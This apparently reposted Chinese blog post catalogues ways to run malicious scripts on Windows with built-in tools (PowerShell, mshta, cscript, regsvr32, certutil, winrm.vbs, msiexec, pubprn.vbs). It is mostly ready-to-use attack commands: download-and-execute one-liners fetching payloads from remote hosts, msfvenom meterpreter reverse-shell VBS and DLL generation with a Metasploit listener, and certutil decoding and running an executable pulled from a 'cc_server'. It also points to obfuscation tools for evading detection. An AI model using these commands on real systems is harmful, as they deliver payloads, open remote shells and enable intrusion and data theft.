大家好,很高兴再次与你们见面,我是你们的朋友全栈君。
在windows系统中,恶意脚本的加载和执行可以通过多种无需可执行文件(exe)的方式来实现。这些方法利用了Windows自带的解析器和工具,具体包括以下几种:
恶意脚本加载方式
PowerShell、VBScript、批处理文件和JavaScript
这些脚本可以通过Windows自带的解析器运行,如powershell.exe、cscript.exe、cmd.exe和mshta.exe。通过上传或远程加载相应的payload脚本,并直接调用解析器运行,可以实现恶意代码的执行。可以使用Invoke-Obfuscation或者Invoke-DOSfuscation等工具进行混淆。
Windows原生工具
Windows自带的工具如regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,以及脚本类型的winrm.vbs、wmiexec.vbs、pubprn.vbs等,可以用于执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展和维持访问。
具体示例
PowerShell
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"
mshta.exe
use exploit/windows/misc/hta_server set lhost x.x.x.x set lport 4444 run
mshta.exe执行
mshta http://192.168.164.128:8080/lWdH9aFeeIe.hta
CScript.exe和WScript.exe
这两个工具可以解析和运行VBScript和JavaScript脚本。WScript将输出结果显示在对话框中,而CScript则以命令行形式显示输出结果。使用方法如下:
cscript %TEMP%log.vbs 或者 wscript C:test.js
使用msfvenom生成VBS脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f vbs -o 123.vbs
使用Metasploit监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 run
执行生成的VBS脚本
cscript 123.vbs
regsvr32.exe加载DLL
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f dll -o 123.dll
使用regsvr32.exe执行DLL
regsvr32 /u /s 123.dll
certutil.exe
certutil.exe -urlcache -split -f [URL] outfile.file certutil.exe -verifyctl -f -split http://www.baidu.com #无法绕过defender
编码
base64 payload.exe > /var/www/html/update.txt
解码并执行
certutil -urlcache -split -f http://cc_server/update.txt & certutil -decode update.txt update.exe & update.exe
winrm.vbs
cscript C:windowssystem32winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:123.xml
123.xml内容
<?xml version="1.0" encoding="UTF-8"?><create_input xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process"><commandline>calc.exe</commandline><currentdirectory>C:</currentdirectory></create_input>
无文件执行
Winrm invoke Create wmicimv2/Win32_Process @{ CommandLine="calc.exe";CurrentDirectory="C:"}
msiexec.exe
C:WindowsSystem32msiexec.exe /q /i http://192.168.164.128:8080/123.msi
wmic.exe
# 暂无
pubprn.vbs
位于C:WindowsSystem32Printing_Admin_Scripts下的语言目录中,可以用来解析sct文件。
pubprn.vbs 127.0.0.1 script:http://x.x.x.x/payload1.sct
参考资料:https://www.php.cn/link/29353ce24ad093d9324c479b7a1bd107
发布者:全栈程序员栈长,转载请注明出处:https://www.php.cn/link/f48db3cd91ebb288ff33e95493b6329b
原文链接:https://www.php.cn/link/c8377ad2a50fb65de28b11cfc628d75c